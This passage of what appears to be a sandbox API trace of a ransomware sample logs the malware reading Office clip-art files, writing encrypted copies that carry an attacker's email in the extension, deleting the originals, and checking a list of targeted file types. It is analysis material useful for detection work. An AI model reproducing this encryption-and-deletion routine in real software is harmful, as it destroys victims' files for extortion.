dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0186.091] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0186.091] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0186.091] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00184_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0186.091] GetLastError () returned 0x0 [0186.091] ReadFile (in: hFile=0x1d0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x1370, lpOverlapped=0x0) returned 1 [0186.107] WriteFile (in: hFile=0x1f4, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x1380, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x1380, lpOverlapped=0x0) returned 1 [0186.108] ReadFile (in: hFile=0x1d0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0186.108] WriteFile (in: hFile=0x1f4, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0186.109] SetEndOfFile (hFile=0x1f4) returned 1 [0186.109] CloseHandle (hObject=0x1f4) returned 1 [0186.109] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0186.109] SetEndOfFile (hFile=0x1d0) returned 1 [0186.109] CloseHandle (hObject=0x1d0) returned 1 [0186.109] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0186.110] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00184_.wmf")) returned 1 [0186.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 63 [0186.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 63 [0186.110] lstrlenW (lpString=".doc") returned 4 [0186.110] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.110] lstrlenW (lpString=".docx") returned 5 [0186.110] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0186.110] lstrlenW (lpString=".pdf") returned 4 [0186.110] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.110] lstrlenW (lpString=".xls") returned 4 [0186.110] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.110] lstrlenW (lpString=".xlsx") returned 5 [0186.110] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0186.110] lstrlenW (lpString=".ppt") returned 4 [0186.110] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 63 [0186.110] lstrlenW (lpString=".zip") returned 4 [0186.110] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.110] lstrlenW (lpString=".rar") returned 4 [0186.110] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.110] lstrlenW (lpString=".bz2") returned 4 [0186.110] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.110] lstrlenW (lpString=".7z") returned 3 [0186.110] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 63 [0186.111] lstrlenW (lpString=".dbf") returned 4 [0186.111] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 63 [0186.111] lstrlenW (lpString=".1cd") returned 4 [0186.111] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 63 [0186.111] lstrlenW (lpString=".jpg") returned 4 [0186.111] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 63 [0186.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 63 [0186.111] lstrlenW (lpString=".doc") returned 4 [0186.111] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.111] lstrlenW (lpString=".docx") returned 5 [0186.111] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0186.111] lstrlenW (lpString=".pdf") returned 4 [0186.111] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.111] lstrlenW (lpString=".xls") returned 4 [0186.111] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.111] lstrlenW (lpString=".xlsx") returned 5 [0186.111] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0186.111] lstrlenW (lpString=".ppt") returned 4 [0186.111] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 63 [0186.111] lstrlenW (lpString=".zip") returned 4 [0186.111] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.111] lstrlenW (lpString=".rar") returned 4 [0186.111] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.111] lstrlenW (lpString=".bz2") returned 4 [0186.111] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.111] lstrlenW (lpString=".7z") returned 3 [0186.111] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 63 [0186.112] lstrlenW (lpString=".dbf") returned 4 [0186.112] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 63 [0186.112] lstrlenW (lpString=".1cd") returned 4 [0186.112] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 63 [0186.112] lstrlenW (lpString=".jpg") returned 4 [0186.112] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.112] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0186.112] lstrlenW (lpString="BS00224_.WMF") returned 12 [0186.112] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00224_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0186.112] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=1588) returned 1 [0186.112] CloseHandle (hObject=0x1d0) returned 1 [0186.112] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00224_.wmf")) returned 0x20 [0186.112] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00224_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0186.113] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00224_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0186.113] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0186.113] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0186.113] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00224_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0186.113] GetLastError () returned 0x0 [0186.113] ReadFile (in: hFile=0x1d0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x634, lpOverlapped=0x0) returned 1 [0186.130] WriteFile (in: hFile=0x1f4, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x640, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x640, lpOverlapped=0x0) returned 1 [0186.131] ReadFile (in: hFile=0x1d0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0186.131] WriteFile (in: hFile=0x1f4, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0186.287] SetEndOfFile (hFile=0x1f4) returned 1 [0186.287] CloseHandle (hObject=0x1f4) returned 1 [0186.287] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0186.287] SetEndOfFile (hFile=0x1d0) returned 1 [0186.288] CloseHandle (hObject=0x1d0) returned 1 [0186.288] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0186.288] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00224_.wmf")) returned 1 [0186.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 63 [0186.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 63 [0186.288] lstrlenW (lpString=".doc") returned 4 [0186.288] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.288] lstrlenW (lpString=".docx") returned 5 [0186.288] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0186.288] lstrlenW (lpString=".pdf") returned 4 [0186.288] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.288] lstrlenW (lpString=".xls") returned 4 [0186.288] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.288] lstrlenW (lpString=".xlsx") returned 5 [0186.288] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0186.288] lstrlenW (lpString=".ppt") returned 4 [0186.289] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 63 [0186.289] lstrlenW (lpString=".zip") returned 4 [0186.289] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.289] lstrlenW (lpString=".rar") returned 4 [0186.289] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.289] lstrlenW (lpString=".bz2") returned 4 [0186.289] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.289] lstrlenW (lpString=".7z") returned 3 [0186.289] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 63 [0186.289] lstrlenW (lpString=".dbf") returned 4 [0186.289] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 63 [0186.289] lstrlenW (lpString=".1cd") returned 4 [0186.289] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 63 [0186.289] lstrlenW (lpString=".jpg") returned 4 [0186.289] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 63 [0186.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 63 [0186.289] lstrlenW (lpString=".doc") returned 4 [0186.289] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.289] lstrlenW (lpString=".docx") returned 5 [0186.289] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0186.289] lstrlenW (lpString=".pdf") returned 4 [0186.289] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.289] lstrlenW (lpString=".xls") returned 4 [0186.290] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.290] lstrlenW (lpString=".xlsx") returned 5 [0186.290] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0186.290] lstrlenW (lpString=".ppt") returned 4 [0186.290] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 63 [0186.290] lstrlenW (lpString=".zip") returned 4 [0186.290] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.290] lstrlenW (lpString=".rar") returned 4 [0186.290] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.290] lstrlenW (lpString=".bz2") returned 4 [0186.290] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.290] lstrlenW (lpString=".7z") returned 3 [0186.290] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 63 [0186.290] lstrlenW (lpString=".dbf") returned 4 [0186.290] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 63 [0186.290] lstrlenW (lpString=".1cd") returned 4 [0186.290] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 63 [0186.290] lstrlenW (lpString=".jpg") returned 4 [0186.290] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.290] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0186.290] lstrlenW (lpString="BS00445_.WMF") returned 12 [0186.290] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00445_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0186.291] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=3796) returned 1 [0186.291] CloseHandle (hObject=0x1d0) returned 1 [0186.291] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00445_.wmf")) returned 0x20 [0186.291] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00445_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0186.291] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00445_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0186.291] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0186.291] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0186.291] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00445_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0186.292] GetLastError () returned 0x0 [0186.292] ReadFile (in: hFile=0x1d0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0xed4, lpOverlapped=0x0) returned 1 [0186.293] WriteFile (in: hFile=0x1f4, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xee0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xee0, lpOverlapped=0x0) returned 1 [0186.294] ReadFile (in: hFile=0x1d0, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0186.294] WriteFile (in: hFile=0x1f4, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0186.294] SetEndOfFile (hFile=0x1f4) returned 1 [0186.294] CloseHandle (hObject=0x1f4) returned 1 [0186.295] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0186.295] SetEndOfFile (hFile=0x1d0) returned 1 [0186.295] CloseHandle (hObject=0x1d0) returned 1 [0186.295] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0186.296] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00445_.wmf")) returned 1 [0186.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 63 [0186.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 63 [0186.296] lstrlenW (lpString=".doc") returned 4 [0186.296] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.296] lstrlenW (lpString=".docx") returned 5 [0186.296] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0186.296] lstrlenW (lpString=".pdf") returned 4 [0186.296] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.296] lstrlenW (lpString=".xls") returned 4 [0186.296] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.296] lstrlenW (lpString=".xlsx") returned 5 [0186.296] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0186.296] lstrlenW (lpString=".ppt") returned 4 [0186.296] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 63 [0186.296] lstrlenW (lpString=".zip") returned 4 [0186.296] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.296] lstrlenW (lpString=".rar") returned 4 [0186.296] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.296] lstrlenW (lpString=".bz2") returned 4 [0186.296] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.296] lstrlenW (lpString=".7z") returned 3 [0186.296] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 63 [0186.296] lstrlenW (lpString=".dbf") returned 4 [0186.296] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 63 [0186.297] lstrlenW (lpString=".1cd") returned 4 [0186.297] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 63 [0186.297] lstrlenW (lpString=".jpg") returned 4 [0186.297] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 63 [0186.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 63 [0186.297] lstrlenW (lpString=".doc") returned 4 [0186.297] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.297] lstrlenW (lpString=".docx") returned 5 [0186.297] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0186.297] lstrlenW (lpString=".pdf") returned 4 [0186.297] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.297] lstrlenW (lpString=".xls") returned 4 [0186.297] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.297] lstrlenW (lpString=".xlsx") returned 5 [0186.297] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0186.297] lstrlenW (lpString=".ppt") returned 4 [0186.297] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 63 [0186.297] lstrlenW (lpString=".zip") returned 4 [0186.297] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.297] lstrlenW (lpString=".rar") returned 4 [0186.297] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.297] lstrlenW (lpString=".bz2") returned 4 [0186.297] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.297] lstrlenW (lpString=".7z") returned 3 [0186.297] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 63 [0186.298] lstrlenW (lpString=".dbf") returned 4 [0186.298] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 63 [0186.298] lstrlenW (lpString=".1cd") returned 4 [0186.298] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00445_.WMF") returned 63 [0186.298] lstrlenW (lpString=".jpg") returned 4 [0186.298] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.298] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0186.298] lstrlenW (lpString="BS00453_.WMF") returned 12 [0186.298] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00453_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0186.298] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=2436) returned 1 [0186.298] CloseHandle (hObject=0x1d0) returned 1 [0186.298] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00453_.wmf")) returned 0x20 [0186.299] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00453_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0186.299] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00453_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0186.299] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0186.299] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0186.299] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00453_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft 